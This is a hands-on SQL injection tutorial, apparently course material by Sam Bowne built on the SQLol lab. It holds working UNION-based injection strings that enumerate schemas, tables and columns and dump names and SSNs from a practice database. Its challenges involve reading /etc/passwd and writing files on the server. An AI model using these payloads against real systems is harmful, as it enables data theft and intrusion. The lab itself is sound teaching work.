Introduction to SQL Injection: Hands-On

1. Reset the Database Before Using It

2. SQL Database Structure

The database named sqlol contains the two tables shown below.

Table: users

Field: usernameField: isadmin
Herp Derper1
SlapdeBack LovedeFace1
Wengdack Slobdegoob0
Chunk MacRunfast0
Peter Weiner0
    

Table: ssn

Field: nameField: ssn
Herp Derper111-11-1111
SlapdeBack LovedeFace222-22-2222
Wengdack Slobdegoob333-33-3333
Chunk MacRunfast444-44-4444
Peter Weiner555-55-5555

Important Terms

Database -- an object that contains Tables
Table -- an object that contains Fields
Field -- an item of data, such as a name or ssn

3. SQL SELECT Queries

SQL uses easily-understood commands like SELECT, UPDATE, and DELETE. Try the queries below to see how SELECT works.

Query:      

SELECT Queries to Try

SELECT * FROM sqlol.users Get all fields from the table "sql.users"
SELECT * FROM sqlol.ssn Get all fields from the table "sql.ssn"
SELECT name FROM sqlol.ssn Get field "name" from the table "sql.ssn"
SELECT ssn as name FROM sqlol.ssn Get field "ssn" from the table "sql.ssn" and change its field name to "name"
SELECT * FROM sqlol.ssn WHERE name='Herp Derper' Get all fields from the table "sql.ssn" with the "name" field equal to "Herp Derper"
SELECT * FROM sqlol.ssn WHERE name='Fred' Get all fields from the table "sql.ssn" with the "name" field equal to "Fred"
SELECT * FROM sqlol.ssn WHERE name='Fred' OR 'a'='a' Get all fields from the table "sql.ssn" (the condition is always true)
SELECT username FROM sqlol.users UNION SELECT ssn AS username FROM sqlol.ssn Combine data from two tables

4. Search for Usernames

Websites don't usually let you type in complete SQL queries, but only fields like usernames and passwords.

Attackers can sneak SQL commands in by using special characters like apostrophes.

Try the usernames below in this form to see how it works.

Name:      

Performs This Query:

SELECT username FROM users WHERE username LIKE 'name'

Usernames to Try

Find User

Herp Derper

Detect Vulnerability

Mike O'Neil

Find Database Names

' UNION SELECT table_schema AS username FROM information_schema.tables WHERE 'a'='a

Find Tables in sqlol Database

' UNION SELECT table_name AS username FROM information_schema.tables WHERE table_schema='sqlol

Find Columns within ssl Table

' UNION SELECT column_name AS username FROM information_schema.columns WHERE table_name='ssn' AND table_schema='sqlol

Dump Names and SSNs

' UNION SELECT concat(name, ':', ssn) AS username FROM sqlol.ssn WHERE 'a'='a

5. Safer Search with Input Validation

The simplest defense is to encode special characters.

This stops many common SQL injection attacks with a single line of code.

Try the usernames above in this form:

Name:      

Performs This Query:

SELECT username FROM users WHERE username LIKE 'name'

Uses mysql_real_escape_string to Encode Special Characters

6. Challenges

Use the form in item 4 above to inject usernames that do the things below. For hints, see the "Sources" at the bottom of the page.


6a: Display ssn fields for administrators only, as shown below:


6b: Create a file on my server with your name as a filename, as shown below.


6c: Display the /etc/passwd file in a browser, as shown below:


6d: Put your name into these two files:

/var/www/html/SQLchal/winners

/var/www/html/SQLchal/updatenow

Within a minute, your name will appear on the Winners page as shown below:

More Projects

SQL Injection with SQLol

Exploiting SQLi with Havij and Input Filtering

sqlmap

Fixing MySQL with Parameterized Queries

Sources

Based on SQLol from SpiderLabs.

SQL Injection Modify / Insert Table Values

Hackproofing MySQL (from 2004)

Hackproofing MySQL (alternative download link)

MySQL SUBSTRING() function

MySQL - Concatenation


Last revised 1-13-16 4 pm by Sam Bowne